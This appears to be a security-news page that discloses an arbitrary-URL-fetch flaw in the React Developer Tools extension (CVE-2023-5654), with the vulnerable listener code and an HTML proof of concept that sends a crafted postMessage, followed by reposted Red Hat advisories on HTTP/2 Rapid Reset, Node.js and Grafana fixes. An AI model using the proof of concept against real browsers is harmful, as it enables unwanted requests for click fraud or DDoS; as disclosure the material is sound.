The React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.

**Disclosure Status**

I have disclosed this to the maintainer, who issued a fix in version 4.28.4

**Commits**

https://github.com/facebook/react/commit/94d5b5b2bf5204ebd289a113989c0e2c51b626ef https://github.com/facebook/react/pull/27417/commits/c4db7be6b050fd36e3d7e1218d31d6b61f6b007d

**Technical Details:**

The React Developer Tools extension registers a message listener with window.addEventListener('message', <listener>) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.

Because the content of the response is not returned to the malicious webpage, the impact of this issue is limited, i.e, sensitive resources available only to the victim cannot be retrieved. However, this could be used to generate clicks, and therefore revenue, for malicious actors, or be used along with other browsers for a Distributed Denial of Service (DDoS) without the victims’ knowledge or consent.

The code snippet below (shortened for brevity) shows the message listener code from the Content Script extracting the URL from the potentially tainted message received, then using the arbitrary URL directly in a fetch call shortly after.

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type \=== 'fetch-file-with-cache') {
        const url \= data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response \=> {
            if (response.ok) {
              response
                .text()
                .then(text \=> resolve(text))
                .catch(error \=> reject(null));
            } else {
              reject(null);
            }
          },
          error \=> reject(null),
        );
      }
      break;
    ...

**PoC**

In the proof-of-concept React application below, the standard postMessage() API is used to send a crafted message to trigger the above switch statement when a button is clicked. Note the source attribute in the message is react-devtools-extension and the type is fetch-file-with-cache.

<!DOCTYPE html\>
<html\>
<head\>
  <script src\="https://unpkg.com/react@18/umd/react.development.js" crossorigin\></script\>
  <script src\="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin\></script\>
  <script src\="https://unpkg.com/@babel/standalone/babel.min.js"\></script\>
</head\>
<body\>

<div id\="mydiv"\></div\>

<script type\="text/babel"\>
  function Hello() {
    return <h1\>Hello World!</h1\>;
  }

  const container \= document.getElementById('mydiv');
  const root \= ReactDOM.createRoot(container);
  root.render(<Hello /\>)
</script\>

<script\>
  function sendBrowserMsg() {
    let msg \= {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.google.com'
      }
    }
    console.log(\`Sending msg from browser: ${JSON.stringify(msg)}\`);
    postMessage(msg, "\*");
  }
</script\>

<form\>
  <button type\="button" id\="submit" onClick\="sendBrowserMsg()"\>Go!</button\>
</form\>

</body\>
</html\>

In reality, it’s likely that the malicious web page would automatically send messages to the extension without the need for user interaction.

CVE-2023-5654: React Developer Tools v4.27.8 Arbitrary URL Fetch via Malicious Web Page

Red Hat Security Advisory 2023-5869-01 - An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5869.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: nodejs:18 security update  
Advisory ID:        RHSA-2023:5869-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5869  
Issue date:         2023-10-18  
Revision:           01  
CVE Names:          CVE-2023-38552  
====================================================================

Summary: 

An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 8.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. 

Security Fix(es):

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

* nodejs: integrity checks according to policies can be circumvented (CVE-2023-38552)

* nodejs: code injection via WebAssembly export names (CVE-2023-39333)

* node-undici: cookie leakage (CVE-2023-45143)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-38552

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5869-01

Red Hat Security Advisory 2023-5867-01 - An update for grafana is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5867.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5867-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5867Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB. Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5867-01

Red Hat Security Advisory 2023-5866-01 - An update for grafana is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5866.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5866-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5866Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5866-01

Red Hat Security Advisory 2023-5865-01 - An update for grafana is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5865.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5865-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5865Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support, Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.4 Telecommunications Update Service.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5865-01

Red Hat Security Advisory 2023-5864-01 - An update for grafana is now available for Red Hat Enterprise Linux 9. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5864.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5864-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5864Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5864-01

Red Hat Security Advisory 2023-5863-01 - An update for grafana is now available for Red Hat Enterprise Linux 8. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5863.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: grafana security updateAdvisory ID:        RHSA-2023:5863-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5863Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for grafana is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Grafana is an open source, feature rich metrics dashboard and graph editor for Graphite, InfluxDB & OpenTSDB.Security Fix(es):* grafana: golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#moderatehttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5863-01

Red Hat Security Advisory 2023-5851-01 - Updated images are now available for Red Hat Advanced Cluster Security (RHACS). The updated image includes new features and bug fixes. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5851.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: RHACS 4.1 enhancement and security update  
Advisory ID:        RHSA-2023:5851-01  
Product:            Red Hat Advanced Cluster Security for Kubernetes  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5851  
Issue date:         2023-10-18  
Revision:           01  
CVE Names:          CVE-2023-39325  
====================================================================

Summary: 

Updated images are now available for Red Hat Advanced Cluster Security (RHACS). The updated image includes new features and bug fixes.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

This release of RHACS 4.1.4 includes fixes for the following security vulnerabilities:

* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-39325)

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* Various CVEs in containers for glibc security issues

A Red Hat Security Bulletin which addresses further details about this flaw is available in the References section.

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

RHACS 4.1.4 includes a new default policy called \"Rapid Reset: Denial of Service Vulnerability in HTTP/2 Protocol\". This policy alerts on deployments with images containing components that are susceptible to a Denial of Service (DoS) vulnerability for HTTP/2 servers, based on CVE-2023-44487 and CVE-2023-39325. This policy applies to the build or deploy life cycle stage.

Solution:

CVEs:

CVE-2023-39325

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003  
https://docs.openshift.com/acs/4.1/release_notes/41-release-notes.html

Red Hat Security Advisory 2023-5851-01

Red Hat Security Advisory 2023-5850-01 - Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. Issues addressed include a denial of service vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5850.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: nodejs:16 security updateAdvisory ID:        RHSA-2023:5850-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5850Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-44487====================================================================Summary: An update for the nodejs:16 module is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. Security Fix(es):* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-44487References:https://access.redhat.com/security/updates/classification/#importanthttps://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Red Hat Security Advisory 2023-5850-01

Red Hat Security Advisory 2023-5849-01 - Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. Issues addressed include a denial of service vulnerability.

The following data is constructed from data provided by Red Hat's json file at:

https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5849.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: nodejs:18 security update  
Advisory ID:        RHSA-2023:5849-01  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2023:5849  
Issue date:         2023-10-18  
Revision:           01  
CVE Names:          CVE-2023-38552  
====================================================================

Summary: 

An update for the nodejs:18 module is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Node.js is a software development platform for building fast and scalable network applications in the JavaScript programming language. 

Security Fix(es):

* HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (Rapid Reset Attack) (CVE-2023-44487)

* nodejs: integrity checks according to policies can be circumvented (CVE-2023-38552)

* nodejs: code injection via WebAssembly export names (CVE-2023-39333)

* node-undici: cookie leakage (CVE-2023-45143)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-38552

References:

https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-003

Tag

#ddos